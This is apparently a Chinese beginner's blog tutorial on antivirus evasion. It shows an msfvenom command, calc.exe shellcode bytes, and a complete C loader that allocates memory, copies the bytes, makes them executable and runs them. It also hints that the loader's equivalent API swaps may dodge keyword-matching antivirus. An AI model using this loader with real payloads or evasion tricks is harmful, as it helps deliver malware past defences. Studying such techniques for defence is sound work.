刚开始学免杀,想直接分析shellcode的话对我来说有点难,所以先学会如何使用别人写好的shellcode

ShellCode准备

MSF生成的在x64的win环境下打开calc.exe的shellcode

1
msfvenom -p windows/x64/exec CMD=calc.exe -f c

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <windows.h>
#include <stdio.h>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";



int main()
{

// 分配1MB大小的内存空间,保留并提交,可读可写
LPVOID lpMem = VirtualAlloc(NULL, 1024 * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (lpMem == NULL) // 分配失败
{
printf("VirtualAlloc failed: %d\n", GetLastError());
return -1;
}
else // 分配成功
{
printf("VirtualAlloc succeeded: %p\n", lpMem);
}
//RtlMoveMemory(lpMem, buf, sizeof(buf));
memcpy(lpMem, buf, sizeof(buf));

DWORD OldProtect;
VirtualProtect(lpMem, sizeof(buf), PAGE_EXECUTE_READ, &OldProtect);


/*HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE); // 等待线程结束
CloseHandle(hThread);*/ // 关闭线程句柄
((void(*)())lpMem)();
// 释放分配的内存空间
BOOL bRet = VirtualFree(lpMem, 0, MEM_RELEASE);
if (bRet == FALSE) // 释放失败
{
printf("VirtualFree failed: %d\n", GetLastError());
return -1;
}
else // 释放成功
{
printf("VirtualFree succeeded.\n");
}

return 0;
}

注释的代码是另一种写法,但可以达到同样的效果,在做免杀的可以考虑等效替换,对于关键字匹配的杀毒引擎来说可能会有免杀的效果

介绍一下涉及到的函数

VirtualAlloc

功能:调整一片在虚拟地址空间的内存的状态

返回值:调指向整的内存的起始地址的指针

win api为了准确的表达指针的作用对象,将void命名为了许多其他类型,但其本质都是void

void类型是一种无类型指针,也就是说它可以指向任意类型的数据

**void类型的指针有以下几种用途:

  • 用作函数的返回类型,表示函数不返回任何值。
  • 用作函数的参数类型,表示函数可以接受任意类型的指针。例如,内存分配函数 malloc 和 memset 的参数就是 void* 类型。
  • 用作通用指针,表示可以指向任何未使用 const 或 volatile 关键字声明的变量。例如,可以把 int* 类型的指针赋值给 void* 类型的指针,但是反过来就需要强制类型转换

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

virtualAlloc 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

官方文档讲的对初学者不太友好,我就自己总结一下

LPVOID lpAddress:要分配的内存的地址,如果不指定就让系统自动分配

SIZE_T dwSize:要分配的内存的大小,单位是字节

DWORD flAllocationType:要分配的内存的类型,可以是保留,提交,重置,撤销等。(保留和提交是主要使用的)

内存类型 说明
保留(MEM_RESERVE) 在虚拟地址空间中预留一块区域,但是不分配实际的物理内存。这样可以保证这块区域不会被其他程序占用,但是也不能直接使用。
提交(MEM_COMMIT) 在保留的区域中分配实际的物理内存,这样才能真正使用这块内存。提交的内存会被初始化为零。
重置(MEM_RESET) 把已经提交的内存标记为不再需要,系统可以随时回收这些内存。重置的内存不会被释放,但是也不能直接使用,需要重新提交才能使用。
撤销(MEM_RESET_UNDO) 把已经重置的内存标记为重新需要,系统会尝试恢复这些内存的内容。如果成功,那么撤销的内存可以继续使用;如果失败,那么撤销的内存会变成零,需要重新写入数据才能使用

DWORD flProtect:用来指定要分配的内存的保护属性的,也就是说,它可以控制这块内存可以被怎样访问,比如只读、可写、可执行等。

保护属性 含义
PAGE_EXECUTE 允许对已提交的内存执行代码
PAGE_EXECUTE_READ 允许对已提交的内存执行代码或只读访问
PAGE_EXECUTE_READWRITE 允许对已提交的内存执行代码或读写访问
PAGE_EXECUTE_WRITECOPY 允许对文件映射对象的映射视图执行代码或复制写入访问
PAGE_NOACCESS 禁止对已提交的内存进行任何访问
PAGE_READONLY 允许对已提交的内存进行只读访问
PAGE_READWRITE 允许对已提交的内存进行读写访问
PAGE_WRITECOPY 允许对文件映射对象的映射视图进行只读或复制写入访问

RtlMoveMemory

memcpy

这两个都是用于内存复制的方法,很容易理解,直接看官方文档即可

RtlMoveMemory 函数 - Win32 apps | Microsoft Learn

memcpy 函数| Microsoft Learn

还有类似的内存复制方法如RtlCopyMemory

RtlCopyMemory 宏 (ntddstor.h) - Windows drivers | Microsoft Learn

VirtualProtect

功能:改变一段内存区域的保护属性

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

LPVOID lpAddress:内存区域的指针

SIZE_T dwSize:要改变保护属性的区域大小

DWORD flNewProtect:要设定的区域的保护属性

PDWORD lpflOldProtect:保存旧的保护属性的指针

调用内存中的shellcode(1)

shellcode的本质是汇编语言转换成的二进制代码

1
2
3
4
5
6
7
// 分配1MB大小的内存空间,保留并提交,可读可写可执行
LPVOID lpMem = VirtualAlloc(NULL, 1024 * 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
......
将shellcode写入lpMem指针指向的区域
......
//转换为函数指针调用
((void(*)())lpMem)();

((void(*)())lpMem)();的含义是将lpMem指针强制转换为一个无参数无返回值的函数指针,然后调用这个函数。

具体来说,((void(*)())lpMem)(); 可以分解为以下几个步骤:

  • lpMem是一个LPVOID类型的指针,它指向一段分配好的内存区域,其中存放了buf数组的内容,也就是一段机器码。
  • (void(*)())是一个类型转换符,它表示一个无参数无返回值的函数指针类型。
  • (void(*)())lpMem是将lpMem指针强制转换为(void(*)())类型,也就是将内存区域视为一个函数。
  • ((void(*)())lpMem)()是在转换后的函数指针后面加上一对括号,表示调用这个函数。

这样做的目的是执行buf数组中的机器码,也就是一段shellcode。

shellcode可以转换为一个无参数无返回值的函数调用,是因为它的设计和编码方式使得它可以在任何内存地址上执行,而不需要依赖于参数或返回值。

具体来说,shellcode有以下几个特点:

  • shellcode是一段可以直接在CPU上运行的二进制代码,它不需要经过编译器或链接器的处理,也不需要遵循任何函数调用约定。
  • shellcode通常使用相对寻址或寄存器寻址的方式来访问数据或代码,而不使用绝对寻址或基址寻址,这样可以避免地址硬编码的问题。
  • shellcode通常使用系统调用或API函数来实现功能,而不使用自己编写的函数或库函数,这样可以减少代码的长度和复杂度。
  • shellcode通常在执行完毕后返回到原来的执行流程,而不是退出程序或造成异常,这样可以隐藏自己的存在。

因此,shellcode可以被视为一个无参数无返回值的函数,只要将它存放在一段可执行的内存区域中,并通过((void(*)())lpMem)(); 这种语法来调用它,就可以实现执行shellcode的目的。

调用内存中的shellcode(2)

1
2
3
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);//创建一个执行shellcode的线程
WaitForSingleObject(hThread, INFINITE); // 等待线程结束,否则会直接关闭而不等执行完(异步)
CloseHandle(hThread); // 关闭线程句柄

CreateThread

1
2
3
4
5
6
7
8
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
参数 类型 描述
lpThreadAttributes LPSECURITY_ATTRIBUTES 指向 SECURITY_ATTRIBUTES 结构的指针,该结构确定返回的句柄是否可以由子进程继承。如果为 NULL,则无法继承句柄。结构的 lpSecurityDescriptor 成员为新线程指定安全描述符。如果为 NULL,则线程将获取默认的安全描述符。
dwStackSize SIZE_T 堆栈的初始大小(以字节为单位)。系统将此值舍入到最近的页面。如果此参数为零,新线程将使用可执行文件的默认大小。
lpStartAddress LPTHREAD_START_ROUTINE 指向由线程执行的应用程序定义函数的指针。此指针表示线程的起始地址。
lpParameter LPVOID 指向要传递给线程函数的变量的指针。如果不需要传递参数,则为 NULL。
dwCreationFlags DWORD 控制线程创建的标志。如果为 0,则创建后,线程会立即运行。如果为 CREATE_SUSPENDED,则线程以挂起状态创建,在调用 ResumeThread 函数之前不会运行。如果为 STACK_SIZE_PARAM_IS_A_RESERVATION,则 dwStackSize 参数指定堆栈的初始保留大小,而不是提交大小。
lpThreadId LPDWORD 指向接收线程标识符的变量的指针。如果为 NULL,则不返回线程标识符。

对于第三个参数,LPTHREAD_START_ROUTINE其实也是是一个函数指针的类型,只不过它表明这个函数指针应该是是由一个线程执行的

所以(LPTHREAD_START_ROUTINE)lpMem就是告诉CreateThread函数,这个地址是线程的起始地址,也就是线程需要执行的代码的起始地址,然后CreateThread就会创建一个新线程,然后开始执行lpMem指向的代码

VirtualFree

1
2
3
4
5
BOOL VirtualFree(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
  • VirtualFree函数是一个用于释放、反提交或释放和反提交进程虚拟地址空间中的一块区域的函数
  • VirtualFree函数的第二个参数dwSize表示要释放或反提交的内存区域的大小,以字节为单位
  • 如果第三个参数dwFreeType是MEM_RELEASE,表示要释放整个由VirtualAlloc函数预留的区域,那么第二个参数dwSize必须是0,否则函数会失败
  • 如果第三个参数dwFreeType是MEM_DECOMMIT,表示要反提交一块已提交的区域,那么第二个参数dwSize可以是任意值,如果是0,表示要反提交由VirtualAlloc函数分配的整个区域

总结

简单概括一下,要执行shellcode,一般需要做5件事:

1.申请一片内存区域(如果可以直接申请到可读可写可执行的话,跳过第2步)

2.改变内存区域的状态,使其可读可写可执行(这里是否必须要3者兼备作者目前不清楚)

3.将shellcode写入内存

4.执行shellcode

5.回收内存

本篇文章详细讲解了如何使用一个现成的shellcode,到此为止还没有正式涉及到有关免杀的知识和技巧,只能充其量算作免杀基础的win api的学习,不过有句话说得好:

千里之行始于足下

要打好基础,才能走得更远。